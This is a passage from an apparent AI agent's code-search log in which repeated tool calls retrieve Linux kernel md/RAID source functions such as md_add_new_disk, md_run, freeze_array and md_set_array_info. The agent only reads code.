Results: map[SourceCode: 525: static void __mddev_resume(struct mddev *mddev, bool recovery_needed)
526: {
527: lockdep_assert_not_held(&mddev->reconfig_mutex);
528:
529: mutex_lock(&mddev->suspend_mutex);
530: WRITE_ONCE(mddev->suspended, mddev->suspended - 1);
531: if (mddev->suspended) {
532: mutex_unlock(&mddev->suspend_mutex);
533: return;
534: }
535:
536: percpu_ref_resurrect(&mddev->active_io);
537: wake_up(&mddev->sb_wait);
538:
539: if (recovery_needed)
540: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
541: md_wakeup_thread(mddev->thread);
542: md_wakeup_thread(mddev->sync_thread); /* possibly kick off a reshape */
543:
544: mutex_unlock(&mddev->suspend_mutex);
545: }
SourceFile:drivers/md/md.c]
|
| 204/2 |
2026/08/26 10:41 |
llm |
expert |
0m
Model:
Tokens:
input: 99373
output: 26
thoughts: 0
|
| 205/2 |
2026/08/26 10:42 |
tool |
codesearch-definition-source |
0m
Args: map[Name:mddev_unlock_and_resume]
Results: map[SourceCode:1032: static inline void mddev_unlock_and_resume(struct mddev *mddev)
1033: {
1034: mddev_unlock(mddev);
1035: mddev_resume(mddev);
1036: }
SourceFile:drivers/md/md.h]
|
| 206/2 |
2026/08/26 10:42 |
llm |
expert |
0m
Model:
Tokens:
input: 99501
output: 23
thoughts: 0
|
| 207/2 |
2026/08/26 10:42 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:8267: static inline int md_ioctl_valid(unsigned int cmd)
8268: {
8269: switch (cmd) {
8270: case GET_ARRAY_INFO:
8271: case GET_DISK_INFO:
8272: case RAID_VERSION:
8273: return 0;
8274: case ADD_NEW_DISK:
8275: case GET_BITMAP_FILE:
8276: case HOT_ADD_DISK:
8277: case HOT_REMOVE_DISK:
8278: case RESTART_ARRAY_RW:
8279: case RUN_ARRAY:
8280: case SET_ARRAY_INFO:
8281: case SET_BITMAP_FILE:
8282: case SET_DISK_FAULTY:
8283: case STOP_ARRAY:
8284: case STOP_ARRAY_RO:
8285: case CLUSTERED_DISK_NACK:
8286: if (!capable(CAP_SYS_ADMIN))
8287: return -EACCES;
8288: return 0;
8289: default:
8290: return -ENOTTY;
8291: }
8292: }
SourceFile:drivers/md/md.c]
|
| 208/2 |
2026/08/26 10:42 |
llm |
expert |
0m
Model:
Tokens:
input: 99893
output: 25
thoughts: 0
|
| 209/2 |
2026/08/26 10:42 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_add_new_disk]
Results: map[SourceCode:7489: int md_add_new_disk(struct mddev *mddev, struct mdu_disk_info_s *info)
7490: {
7491: struct md_rdev *rdev;
7492: dev_t dev = MKDEV(info->major,info->minor);
7493:
7494: if (mddev_is_clustered(mddev) &&
7495: !(info->state & ((1 << MD_DISK_CLUSTER_ADD) | (1 << MD_DISK_CANDIDATE)))) {
7496: pr_warn("%s: Cannot add to clustered mddev.\n",
7497: mdname(mddev));
7498: return -EINVAL;
7499: }
7500:
7501: if (info->major != MAJOR(dev) || info->minor != MINOR(dev))
7502: return -EOVERFLOW;
7503:
7504: if (!mddev->raid_disks) {
7505: int err;
7506: /* expecting a device which has a superblock */
7507: rdev = md_import_device(dev, mddev->major_version, mddev->minor_version);
7508: if (IS_ERR(rdev)) {
7509: pr_warn("md: md_import_device returned %ld\n",
7510: PTR_ERR(rdev));
7511: return PTR_ERR(rdev);
7512: }
7513: if (!list_empty(&mddev->disks)) {
7514: struct md_rdev *rdev0
7515: = list_entry(mddev->disks.next,
7516: struct md_rdev, same_set);
7517: err = super_types[mddev->major_version]
7518: .load_super(rdev, rdev0, mddev->minor_version);
7519: if (err < 0) {
7520: pr_warn("md: %pg has different UUID to %pg\n",
7521: rdev->bdev,
7522: rdev0->bdev);
7523: export_rdev(rdev);
7524: return -EINVAL;
7525: }
7526: }
7527: err = bind_rdev_to_array(rdev, mddev);
7528: if (err)
7529: export_rdev(rdev);
7530: return err;
7531: }
7532:
7533: /*
7534: * md_add_new_disk can be used once the array is assembled
7535: * to add "hot spares". They must already have a superblock
7536: * written
7537: */
7538: if (mddev->pers) {
7539: int err;
7540: if (!mddev->pers->hot_add_disk) {
7541: pr_warn("%s: personality does not support diskops!\n",
7542: mdname(mddev));
7543: return -EINVAL;
7544: }
7545: if (mddev->persistent)
7546: rdev = md_import_device(dev, mddev->major_version,
7547: mddev->minor_version);
7548: else
7549: rdev = md_import_device(dev, -1, -1);
7550: if (IS_ERR(rdev)) {
7551: pr_warn("md: md_import_device returned %ld\n",
7552: PTR_ERR(rdev));
7553: return PTR_ERR(rdev);
7554: }
7555: /* set saved_raid_disk if appropriate */
7556: if (!mddev->persistent) {
7557: if (info->state & (1<<MD_DISK_SYNC) &&
7558: info->raid_disk < mddev->raid_disks) {
7559: rdev->raid_disk = info->raid_disk;
7560: clear_bit(Bitmap_sync, &rdev->flags);
7561: } else
7562: rdev->raid_disk = -1;
7563: rdev->saved_raid_disk = rdev->raid_disk;
7564: } else
7565: super_types[mddev->major_version].
7566: validate_super(mddev, NULL/*freshest*/, rdev);
7567: if ((info->state & (1<<MD_DISK_SYNC)) &&
7568: rdev->raid_disk != info->raid_disk) {
7569: /* This was a hot-add request, but events doesn't
7570: * match, so reject it.
7571: */
7572: export_rdev(rdev);
7573: return -EINVAL;
7574: }
7575:
7576: clear_bit(In_sync, &rdev->flags); /* just to be sure */
7577: if (info->state & (1<<MD_DISK_WRITEMOSTLY))
7578: set_bit(WriteMostly, &rdev->flags);
7579: else
7580: clear_bit(WriteMostly, &rdev->flags);
7581: if (info->state & (1<<MD_DISK_FAILFAST))
7582: set_bit(FailFast, &rdev->flags);
7583: else
7584: clear_bit(FailFast, &rdev->flags);
7585:
7586: if (info->state & (1<<MD_DISK_JOURNAL)) {
7587: struct md_rdev *rdev2;
7588: bool has_journal = false;
7589:
7590: /* make sure no existing journal disk */
7591: rdev_for_each(rdev2, mddev) {
7592: if (test_bit(Journal, &rdev2->flags)) {
7593: has_journal = true;
7594: break;
7595: }
7596: }
7597: if (has_journal || mddev->bitmap) {
7598: export_rdev(rdev);
7599: return -EBUSY;
7600: }
7601: set_bit(Journal, &rdev->flags);
7602: }
7603: /*
7604: * check whether the device shows up in other nodes
7605: */
7606: if (mddev_is_clustered(mddev)) {
7607: if (info->state & (1 << MD_DISK_CANDIDATE))
7608: set_bit(Candidate, &rdev->flags);
7609: else if (info->state & (1 << MD_DISK_CLUSTER_ADD)) {
7610: /* --add initiated by this node */
7611: err = mddev->cluster_ops->add_new_disk(mddev, rdev);
7612: if (err) {
7613: export_rdev(rdev);
7614: return err;
7615: }
7616: }
7617: }
7618:
7619: rdev->raid_disk = -1;
7620: err = bind_rdev_to_array(rdev, mddev);
7621:
7622: if (err)
7623: export_rdev(rdev);
7624:
7625: if (mddev_is_clustered(mddev)) {
7626: if (info->state & (1 << MD_DISK_CANDIDATE)) {
7627: if (!err) {
7628: err = mddev->cluster_ops->new_disk_ack(
7629: mddev, err == 0);
7630: if (err)
7631: md_kick_rdev_from_array(rdev);
7632: }
7633: } else {
7634: if (err)
7635: mddev->cluster_ops->add_new_disk_cancel(mddev);
7636: else
7637: err = add_bound_rdev(rdev);
7638: }
7639:
7640: } else if (!err)
7641: err = add_bound_rdev(rdev);
7642:
7643: return err;
7644: }
7645:
7646: /* otherwise, md_add_new_disk is only allowed
7647: * for major_version==0 superblocks
7648: */
7649: if (mddev->major_version != 0) {
7650: pr_warn("%s: ADD_NEW_DISK not supported\n", mdname(mddev));
7651: return -EINVAL;
7652: }
7653:
7654: if (!(info->state & (1<<MD_DISK_FAULTY))) {
7655: int err;
7656: rdev = md_import_device(dev, -1, 0);
7657: if (IS_ERR(rdev)) {
7658: pr_warn("md: error, md_import_device() returned %ld\n",
7659: PTR_ERR(rdev));
7660: return PTR_ERR(rdev);
7661: }
7662: rdev->desc_nr = info->number;
7663: if (info->raid_disk < mddev->raid_disks)
7664: rdev->raid_disk = info->raid_disk;
7665: else
7666: rdev->raid_disk = -1;
7667:
7668: if (rdev->raid_disk < mddev->raid_disks)
7669: if (info->state & (1<<MD_DISK_SYNC))
7670: set_bit(In_sync, &rdev->flags);
7671:
7672: if (info->state & (1<<MD_DISK_WRITEMOSTLY))
7673: set_bit(WriteMostly, &rdev->flags);
7674: if (info->state & (1<<MD_DISK_FAILFAST))
7675: set_bit(FailFast, &rdev->flags);
7676:
7677: if (!mddev->persistent) {
7678: pr_debug("md: nonpersistent superblock ...\n");
7679: rdev->sb_start = bdev_nr_sectors(rdev->bdev);
7680: } else
7681: rdev->sb_start = calc_dev_sboffset(rdev);
7682: rdev->sectors = rdev->sb_start;
7683:
7684: err = bind_rdev_to_array(rdev, mddev);
7685: if (err) {
7686: export_rdev(rdev);
7687: return err;
7688: }
7689: }
7690:
7691: return 0;
7692: }
SourceFile:drivers/md/md.c]
|
| 210/2 |
2026/08/26 10:42 |
llm |
expert |
0m
Model:
Tokens:
input: 103116
output: 21
thoughts: 0
|
| 211/2 |
2026/08/26 10:42 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:6650: int md_run(struct mddev *mddev)
6651: {
6652: int err;
6653: struct md_rdev *rdev;
6654: struct md_personality *pers;
6655:
6656: if (list_empty(&mddev->disks))
6657: /* cannot run an array with no devices.. */
6658: return -EINVAL;
6659:
6660: if (mddev->pers)
6661: return -EBUSY;
6662: /* Cannot run until previous stop completes properly */
6663: if (mddev->sysfs_active)
6664: return -EBUSY;
6665:
6666: /*
6667: * Analyze all RAID superblock(s)
6668: */
6669: if (!mddev->raid_disks) {
6670: if (!mddev->persistent)
6671: return -EINVAL;
6672: err = analyze_sbs(mddev);
6673: if (err)
6674: return -EINVAL;
6675: }
6676:
6677: if (mddev->level != LEVEL_NONE)
6678: request_module("md-level-%d", mddev->level);
6679: else if (mddev->clevel[0])
6680: request_module("md-%s", mddev->clevel);
6681:
6682: /*
6683: * Drop all container device buffers, from now on
6684: * the only valid external interface is through the md
6685: * device.
6686: */
6687: clear_bit(MD_HAS_SUPERBLOCK, &mddev->flags);
6688: rdev_for_each(rdev, mddev) {
6689: if (test_bit(Faulty, &rdev->flags))
6690: continue;
6691: sync_blockdev(rdev->bdev);
6692: invalidate_bdev(rdev->bdev);
6693: if (mddev->ro != MD_RDONLY && rdev_read_only(rdev)) {
6694: mddev->ro = MD_RDONLY;
6695: if (!mddev_is_dm(mddev))
6696: set_disk_ro(mddev->gendisk, 1);
6697: }
6698:
6699: if (rdev->sb_page)
6700: set_bit(MD_HAS_SUPERBLOCK, &mddev->flags);
6701:
6702: /* perform some consistency tests on the device.
6703: * We don't want the data to overlap the metadata,
6704: * Internal Bitmap issues have been handled elsewhere.
6705: */
6706: if (rdev->meta_bdev) {
6707: /* Nothing to check */;
6708: } else if (rdev->data_offset < rdev->sb_start) {
6709: if (mddev->dev_sectors &&
6710: rdev->data_offset + mddev->dev_sectors
6711: > rdev->sb_start) {
6712: pr_warn("md: %s: data overlaps metadata\n",
6713: mdname(mddev));
6714: return -EINVAL;
6715: }
6716: } else {
6717: if (rdev->sb_start + rdev->sb_size/512
6718: > rdev->data_offset) {
6719: pr_warn("md: %s: metadata overlaps data\n",
6720: mdname(mddev));
6721: return -EINVAL;
6722: }
6723: }
6724: sysfs_notify_dirent_safe(rdev->sysfs_state);
6725: }
6726:
6727: pers = get_pers(mddev->level, mddev->clevel);
6728: if (!pers)
6729: return -EINVAL;
6730: if (mddev->level != pers->head.id) {
6731: mddev->level = pers->head.id;
6732: mddev->new_level = pers->head.id;
6733: }
6734: strscpy(mddev->clevel, pers->head.name, sizeof(mddev->clevel));
6735:
6736: if (mddev->reshape_position != MaxSector &&
6737: pers->start_reshape == NULL) {
6738: /* This personality cannot handle reshaping... */
6739: put_pers(pers);
6740: return -EINVAL;
6741: }
6742:
6743: if (pers->sync_request) {
6744: /* Warn if this is a potentially silly
6745: * configuration.
6746: */
6747: struct md_rdev *rdev2;
6748: int warned = 0;
6749:
6750: rdev_for_each(rdev, mddev)
6751: rdev_for_each(rdev2, mddev) {
6752: if (rdev < rdev2 &&
6753: rdev->bdev->bd_disk ==
6754: rdev2->bdev->bd_disk) {
6755: pr_warn("%s: WARNING: %pg appears to be on the same physical disk as %pg.\n",
6756: mdname(mddev),
6757: rdev->bdev,
6758: rdev2->bdev);
6759: warned = 1;
6760: }
6761: }
6762:
6763: if (warned)
6764: pr_warn("True protection against single-disk failure might be compromised.\n");
6765: }
6766:
6767: /* dm-raid expect sync_thread to be frozen until resume */
6768: if (!mddev_is_dm(mddev))
6769: mddev->recovery = 0;
6770:
6771: /* may be over-ridden by personality */
6772: mddev->resync_max_sectors = mddev->dev_sectors;
6773:
6774: mddev->ok_start_degraded = start_dirty_degraded;
6775:
6776: if (start_readonly && md_is_rdwr(mddev))
6777: mddev->ro = MD_AUTO_READ; /* read-only, but switch on first write */
6778:
6779: err = pers->run(mddev);
6780: if (err)
6781: pr_warn("md: pers->run() failed ...\n");
6782: else if (pers->size(mddev, 0, 0) < mddev->array_sectors) {
6783: WARN_ONCE(!mddev->external_size,
6784: "%s: default size too small, but 'external_size' not in effect?\n",
6785: __func__);
6786: pr_warn("md: invalid array_size %llu > default size %llu\n",
6787: (unsigned long long)mddev->array_sectors / 2,
6788: (unsigned long long)pers->size(mddev, 0, 0) / 2);
6789: err = -EINVAL;
6790: }
6791: if (err == 0 && pers->sync_request &&
6792: (mddev->bitmap_info.file || mddev->bitmap_info.offset)) {
6793: err = md_bitmap_create(mddev);
6794: if (err)
6795: pr_warn("%s: failed to create bitmap (%d)\n",
6796: mdname(mddev), err);
6797: }
6798: if (err)
6799: goto bitmap_abort;
6800:
6801: if (mddev->bitmap_info.max_write_behind > 0) {
6802: bool create_pool = false;
6803:
6804: rdev_for_each(rdev, mddev) {
6805: if (test_bit(WriteMostly, &rdev->flags) &&
6806: rdev_init_serial(rdev))
6807: create_pool = true;
6808: }
6809: if (create_pool && mddev->serial_info_pool == NULL) {
6810: mddev->serial_info_pool =
6811: mempool_create_kmalloc_pool(NR_SERIAL_INFOS,
6812: sizeof(struct serial_info));
6813: if (!mddev->serial_info_pool) {
6814: err = -ENOMEM;
6815: goto bitmap_abort;
6816: }
6817: }
6818: }
6819:
6820: if (pers->sync_request) {
6821: if (mddev->kobj.sd &&
6822: sysfs_create_group(&mddev->kobj, &md_redundancy_group))
6823: pr_warn("md: cannot register extra attributes for %s\n",
6824: mdname(mddev));
6825: mddev->sysfs_action = sysfs_get_dirent_safe(mddev->kobj.sd, "sync_action");
6826: mddev->sysfs_completed = sysfs_get_dirent_safe(mddev->kobj.sd, "sync_completed");
6827: mddev->sysfs_degraded = sysfs_get_dirent_safe(mddev->kobj.sd, "degraded");
6828: } else if (mddev->ro == MD_AUTO_READ)
6829: mddev->ro = MD_RDWR;
6830:
6831: atomic_set(&mddev->max_corr_read_errors,
6832: MD_DEFAULT_MAX_CORRECTED_READ_ERRORS);
6833: mddev->safemode = 0;
6834: if (mddev_is_clustered(mddev))
6835: mddev->safemode_delay = 0;
6836: else
6837: mddev->safemode_delay = DEFAULT_SAFEMODE_DELAY;
6838: mddev->in_sync = 1;
6839: smp_wmb();
6840: spin_lock(&mddev->lock);
6841: mddev->pers = pers;
6842: spin_unlock(&mddev->lock);
6843: rdev_for_each(rdev, mddev)
6844: if (rdev->raid_disk >= 0)
6845: sysfs_link_rdev(mddev, rdev); /* failure here is OK */
6846:
6847: if (mddev->degraded && md_is_rdwr(mddev))
6848: /* This ensures that recovering status is reported immediately
6849: * via sysfs - until a lack of spares is confirmed.
6850: */
6851: set_bit(MD_RECOVERY_RECOVER, &mddev->recovery);
6852: set_bit(MD_RECOVERY_NEEDED, &mddev->recovery);
6853:
6854: if (mddev->sb_flags)
6855: md_update_sb(mddev, 0);
6856:
6857: if (IS_ENABLED(CONFIG_MD_BITMAP) && !mddev->bitmap_info.file &&
6858: !mddev->bitmap_info.offset)
6859: md_bitmap_set_none(mddev);
6860:
6861: md_new_event();
6862: return 0;
6863:
6864: bitmap_abort:
6865: mddev_detach(mddev);
6866: if (mddev->private)
6867: pers->free(mddev, mddev->private);
6868: mddev->private = NULL;
6869: put_pers(pers);
6870: md_bitmap_destroy(mddev);
6871: return err;
6872: }
SourceFile:drivers/md/md.c]
|
| 212/2 |
2026/08/26 10:42 |
llm |
expert |
0m
Model:
Tokens:
input: 106687
output: 22
thoughts: 0
|
| 213/2 |
2026/08/26 10:42 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:7069: static void mddev_detach(struct mddev *mddev)
7070: {
7071: if (md_bitmap_enabled(mddev, false))
7072: mddev->bitmap_ops->wait_behind_writes(mddev);
7073: if (mddev->pers && mddev->pers->quiesce && !is_md_suspended(mddev)) {
7074: mddev->pers->quiesce(mddev, 1);
7075: mddev->pers->quiesce(mddev, 0);
7076: }
7077: md_unregister_thread(mddev, &mddev->thread);
7078:
7079: /* the unplug fn references 'conf' */
7080: if (!mddev_is_dm(mddev))
7081: blk_sync_queue(mddev->gendisk->queue);
7082: }
SourceFile:drivers/md/md.c]
|
| 214/2 |
2026/08/26 10:42 |
llm |
expert |
0m
Model:
Tokens:
input: 106990
output: 24
thoughts: 0
|
| 215/2 |
2026/08/26 10:42 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode:3411: static void raid1_quiesce(struct mddev *mddev, int quiesce)
3412: {
3413: struct r1conf *conf = mddev->private;
3414:
3415: if (quiesce)
3416: freeze_array(conf, 0);
3417: else
3418: unfreeze_array(conf);
3419: }
SourceFile:drivers/md/raid1.c]
|
| 216/2 |
2026/08/26 10:42 |
llm |
expert |
0m
Model:
Tokens:
input: 107165
output: 35
thoughts: 0
|
| 217/2 |
2026/08/26 10:42 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:freeze_array]
Results: map[SourceCode:1183: static void freeze_array(struct r1conf *conf, int extra)
1184: {
1185: /* Stop sync I/O and normal I/O and wait for everything to
1186: * go quiet.
1187: * This is called in two situations:
1188: * 1) management command handlers (reshape, remove disk, quiesce).
1189: * 2) one normal I/O request failed.
1190:
1191: * After array_frozen is set to 1, new sync IO will be blocked at
1192: * raise_barrier(), and new normal I/O will blocked at _wait_barrier()
1193: * or wait_read_barrier(). The flying I/Os will either complete or be
1194: * queued. When everything goes quite, there are only queued I/Os left.
1195:
1196: * Every flying I/O contributes to a conf->nr_pending[idx], idx is the
1197: * barrier bucket index which this I/O request hits. When all sync and
1198: * normal I/O are queued, sum of all conf->nr_pending[] will match sum
1199: * of all conf->nr_queued[]. But normal I/O failure is an exception,
1200: * in handle_read_error(), we may call freeze_array() before trying to
1201: * fix the read error. In this case, the error read I/O is not queued,
1202: * so get_unqueued_pending() == 1.
1203: *
1204: * Therefore before this function returns, we need to wait until
1205: * get_unqueued_pendings(conf) gets equal to extra. For
1206: * normal I/O context, extra is 1, in rested situations extra is 0.
1207: */
1208: spin_lock_irq(&conf->resync_lock);
1209: conf->array_frozen = 1;
1210: mddev_add_trace_msg(conf->mddev, "raid1 wait freeze");
1211: wait_event_lock_irq_cmd(
1212: conf->wait_barrier,
1213: get_unqueued_pending(conf) == extra,
1214: conf->resync_lock,
1215: flush_pending_writes(conf));
1216: spin_unlock_irq(&conf->resync_lock);
1217: }
SourceFile:drivers/md/raid1.c]
|
| 218/2 |
2026/08/26 10:42 |
llm |
expert |
0m
Model:
Tokens:
input: 107901
output: 24
thoughts: 0
|
| 219/2 |
2026/08/26 10:42 |
tool |
codesearch-definition-source |
0m
Args: map[Name:get_unqueued_pending]
Results: map[SourceCode:1170: /* conf->resync_lock should be held */
1171: static int get_unqueued_pending(struct r1conf *conf)
1172: {
1173: int idx, ret;
1174:
1175: ret = atomic_read(&conf->nr_sync_pending);
1176: for (idx = 0; idx < BARRIER_BUCKETS_NR; idx++)
1177: ret += atomic_read(&conf->nr_pending[idx]) -
1178: atomic_read(&conf->nr_queued[idx]);
1179:
1180: return ret;
1181: }
SourceFile:drivers/md/raid1.c]
|
| 220/2 |
2026/08/26 10:42 |
llm |
expert |
0m
Model:
Tokens:
input: 108137
output: 23
thoughts: 0
|
| 221/2 |
2026/08/26 10:42 |
tool |
codesearch-definition-source |
0m
Args: map[Name:flush_pending_writes]
Results: map[SourceCode: 875: static void flush_pending_writes(struct r10conf *conf)
876: {
877: /* Any writes that have been queued but are awaiting
878: * bitmap updates get flushed here.
879: */
880: spin_lock_irq(&conf->device_lock);
881:
882: if (conf->pending_bio_list.head) {
883: struct blk_plug plug;
884: struct bio *bio;
885:
886: bio = bio_list_get(&conf->pending_bio_list);
887: spin_unlock_irq(&conf->device_lock);
888:
889: /*
890: * As this is called in a wait_event() loop (see freeze_array),
891: * current->state might be TASK_UNINTERRUPTIBLE which will
892: * cause a warning when we prepare to wait again. As it is
893: * rare that this path is taken, it is perfectly safe to force
894: * us to go around the wait_event() loop again, so the warning
895: * is a false-positive. Silence the warning by resetting
896: * thread state
897: */
898: __set_current_state(TASK_RUNNING);
899:
900: blk_start_plug(&plug);
901: raid1_prepare_flush_writes(conf->mddev);
902: wake_up(&conf->wait_barrier);
903:
904: while (bio) { /* submit pending writes */
905: struct bio *next = bio->bi_next;
906:
907: raid1_submit_write(bio);
908: bio = next;
909: cond_resched();
910: }
911: blk_finish_plug(&plug);
912: } else
913: spin_unlock_irq(&conf->device_lock);
914: }
SourceFile:drivers/md/raid10.c]
|
| 222/2 |
2026/08/26 10:42 |
llm |
expert |
0m
Model:
Tokens:
input: 108777
output: 37
thoughts: 0
|
| 223/2 |
2026/08/26 10:43 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:flush_pending_writes]
Results: map[SourceCode: 940: static void flush_pending_writes(struct r1conf *conf)
941: {
942: /* Any writes that have been queued but are awaiting
943: * bitmap updates get flushed here.
944: */
945: spin_lock_irq(&conf->device_lock);
946:
947: if (conf->pending_bio_list.head) {
948: struct blk_plug plug;
949: struct bio *bio;
950:
951: bio = bio_list_get(&conf->pending_bio_list);
952: spin_unlock_irq(&conf->device_lock);
953:
954: /*
955: * As this is called in a wait_event() loop (see freeze_array),
956: * current->state might be TASK_UNINTERRUPTIBLE which will
957: * cause a warning when we prepare to wait again. As it is
958: * rare that this path is taken, it is perfectly safe to force
959: * us to go around the wait_event() loop again, so the warning
960: * is a false-positive. Silence the warning by resetting
961: * thread state
962: */
963: __set_current_state(TASK_RUNNING);
964: blk_start_plug(&plug);
965: flush_bio_list(conf, bio);
966: blk_finish_plug(&plug);
967: } else
968: spin_unlock_irq(&conf->device_lock);
969: }
SourceFile:drivers/md/raid1.c]
|
| 224/2 |
2026/08/26 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 109306
output: 23
thoughts: 0
|
| 225/2 |
2026/08/26 10:43 |
tool |
codesearch-definition-source |
0m
Args:
Results: map[SourceCode: 925: static void flush_bio_list(struct r1conf *conf, struct bio *bio)
926: {
927: /* flush any pending bitmap writes to disk before proceeding w/ I/O */
928: raid1_prepare_flush_writes(conf->mddev);
929: wake_up_barrier(conf);
930:
931: while (bio) { /* submit pending writes */
932: struct bio *next = bio->bi_next;
933:
934: raid1_submit_write(bio);
935: bio = next;
936: cond_resched();
937: }
938: }
SourceFile:drivers/md/raid1.c]
|
| 226/2 |
2026/08/26 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 109558
output: 26
thoughts: 0
|
| 227/2 |
2026/08/26 10:43 |
tool |
codesearch-definition-source |
0m
Args: map[Name:raid1_prepare_flush_writes]
Results: map[SourceCode: 158: /*
159: * current->bio_list will be set under submit_bio() context, in this case bitmap
160: * io will be added to the list and wait for current io submission to finish,
161: * while current io submission must wait for bitmap io to be done. In order to
162: * avoid such deadlock, submit bitmap io asynchronously.
163: */
164: static inline void raid1_prepare_flush_writes(struct mddev *mddev)
165: {
166: mddev->bitmap_ops->unplug(mddev, current->bio_list == NULL);
167: }
SourceFile:drivers/md/raid1-10.c]
|
| 228/2 |
2026/08/26 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 109796
output: 23
thoughts: 0
|
| 229/2 |
2026/08/26 10:43 |
tool |
codesearch-definition-source |
0m
Args: map[Name:wake_up_barrier]
Results: map[SourceCode: 302: static void wake_up_barrier(struct r10conf *conf)
303: {
304: if (wq_has_sleeper(&conf->wait_barrier))
305: wake_up(&conf->wait_barrier);
306: }
SourceFile:drivers/md/raid10.c]
|
| 230/2 |
2026/08/26 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 109929
output: 37
thoughts: 0
|
| 231/2 |
2026/08/26 10:43 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/md/raid1.c Name:wake_up_barrier]
Results: map[SourceCode: 919: static void wake_up_barrier(struct r1conf *conf)
920: {
921: if (wq_has_sleeper(&conf->wait_barrier))
922: wake_up(&conf->wait_barrier);
923: }
SourceFile:drivers/md/raid1.c]
|
| 232/2 |
2026/08/26 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 110074
output: 24
thoughts: 0
|
| 233/2 |
2026/08/26 10:43 |
tool |
codesearch-definition-source |
0m
Args: map[Name:raid1_submit_write]
Results: map[SourceCode: 112: static inline void raid1_submit_write(struct bio *bio)
113: {
114: struct md_rdev *rdev = (void *)bio->bi_bdev;
115:
116: bio->bi_next = NULL;
117: bio_set_dev(bio, rdev->bdev);
118: if (test_bit(Faulty, &rdev->flags))
119: bio_io_error(bio);
120: else if (unlikely(bio_op(bio) == REQ_OP_DISCARD &&
121: !bdev_max_discard_sectors(bio->bi_bdev)))
122: /* Just ignore it */
123: bio_endio(bio);
124: else
125: submit_bio_noacct(bio);
126: }
SourceFile:drivers/md/raid1-10.c]
|
| 234/2 |
2026/08/26 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 110379
output: 25
thoughts: 0
|
| 235/2 |
2026/08/26 10:43 |
tool |
codesearch-definition-source |
0m
Args: map[Name:md_set_array_info]
Results: map[SourceCode:7894: /*
7895: * md_set_array_info is used two different ways
7896: * The original usage is when creating a new array.
7897: * In this usage, raid_disks is > 0 and it together with
7898: * level, size, not_persistent,layout,chunksize determine the
7899: * shape of the array.
7900: * This will always create an array with a type-0.90.0 superblock.
7901: * The newer usage is when assembling an array.
7902: * In this case raid_disks will be 0, and the major_version field is
7903: * use to determine which style super-blocks are to be found on the devices.
7904: * The minor and patch _version numbers are also kept incase the
7905: * super_block handler wishes to interpret them.
7906: */
7907: int md_set_array_info(struct mddev *mddev, struct mdu_array_info_s *info)
7908: {
7909: if (info->raid_disks == 0) {
7910: /* just setting version number for superblock loading */
7911: if (info->major_version < 0 ||
7912: info->major_version >= ARRAY_SIZE(super_types) ||
7913: super_types[info->major_version].name == NULL) {
7914: /* maybe try to auto-load a module? */
7915: pr_warn("md: superblock version %d not known\n",
7916: info->major_version);
7917: return -EINVAL;
7918: }
7919: mddev->major_version = info->major_version;
7920: mddev->minor_version = info->minor_version;
7921: mddev->patch_version = info->patch_version;
7922: mddev->persistent = !info->not_persistent;
7923: /* ensure mddev_put doesn't delete this now that there
7924: * is some minimal configuration.
7925: */
7926: mddev->ctime = ktime_get_real_seconds();
7927: return 0;
7928: }
7929: mddev->major_version = MD_MAJOR_VERSION;
7930: mddev->minor_version = MD_MINOR_VERSION;
7931: mddev->patch_version = MD_PATCHLEVEL_VERSION;
7932: mddev->ctime = ktime_get_real_seconds();
7933:
7934: mddev->level = info->level;
7935: mddev->clevel[0] = 0;
7936: mddev->dev_sectors = 2 * (sector_t)info->size;
7937: mddev->raid_disks = info->raid_disks;
7938: /* don't set md_minor, it is determined by which /dev/md* was
7939: * openned
7940: */
7941: if (info->state & (1<<MD_SB_CLEAN))
7942: mddev->resync_offset = MaxSector;
7943: else
7944: mddev->resync_offset = 0;
7945: mddev->persistent = ! info->not_persistent;
7946: mddev->external = 0;
7947:
7948: mddev->layout = info->layout;
7949: if (mddev->level == 0)
7950: /* Cannot trust RAID0 layout info here */
7951: mddev->layout = -1;
7952: mddev->chunk_sectors = info->chunk_size >> 9;
7953:
7954: if (mddev->persistent) {
7955: mddev->max_disks = MD_SB_DISKS;
7956: mddev->flags = 0;
7957: mddev->sb_flags = 0;
7958: }
7959: set_bit(MD_SB_CHANGE_DEVS, &mddev->sb_flags);
7960:
7961: mddev->bitmap_info.default_offset = MD_SB_BYTES >> 9;
7962: mddev->bitmap_info.default_space = 64*2 - (MD_SB_BYTES >> 9);
7963: mddev->bitmap_info.offset = 0;
7964:
7965: mddev->reshape_position = MaxSector;
7966:
7967: /*
7968: * Generate a 128 bit UUID
7969: */
7970: get_random_bytes(mddev->uuid, 16);
7971:
7972: mddev->new_level = mddev->level;
7973: mddev->new_chunk_sectors = mddev->chunk_sectors;
7974: mddev->new_layout = mddev->layout;
7975: mddev->delta_disks = 0;
7976: mddev->reshape_backwards = 0;
7977:
7978: return 0;
7979: }
SourceFile:drivers/md/md.c]
|
| 236/2 |
2026/08/26 10:43 |
llm |
expert |
0m
Model:
Tokens:
input: 111899
output: 26
thoughts: 0
|
| 237/2 |
2026/08/26 10:43 |
tool |
codesearch-definition-source |
0m
Args: map[Name:__md_set_array_info]
Results: map[SourceCode:8308: static int __md_set_array_info(struct mddev *mddev, void __user *argp)
8309: {
8310: mdu_array_info_t info;
8311: int err;
8312:
8313: if (!argp)
8314: memset(&info, 0, sizeof(info));
8315: else if (copy_from_user(&info, argp, sizeof(info)))
8316: return -EFAULT;
8317:
8318: if (mddev->pers) {
8319: err = update_array_info(mddev, &info);
8320: if (err)
8321: pr_warn("md: couldn't update array info. %d\n", err);
8322: return err;
8323: }
8324:
8325: if (!list_empty(&mddev->disks)) {
8326: pr_warn("md: array %s already has disks!\n", mdname(mddev));
8327: return -EBUSY;
8328: }
8329:
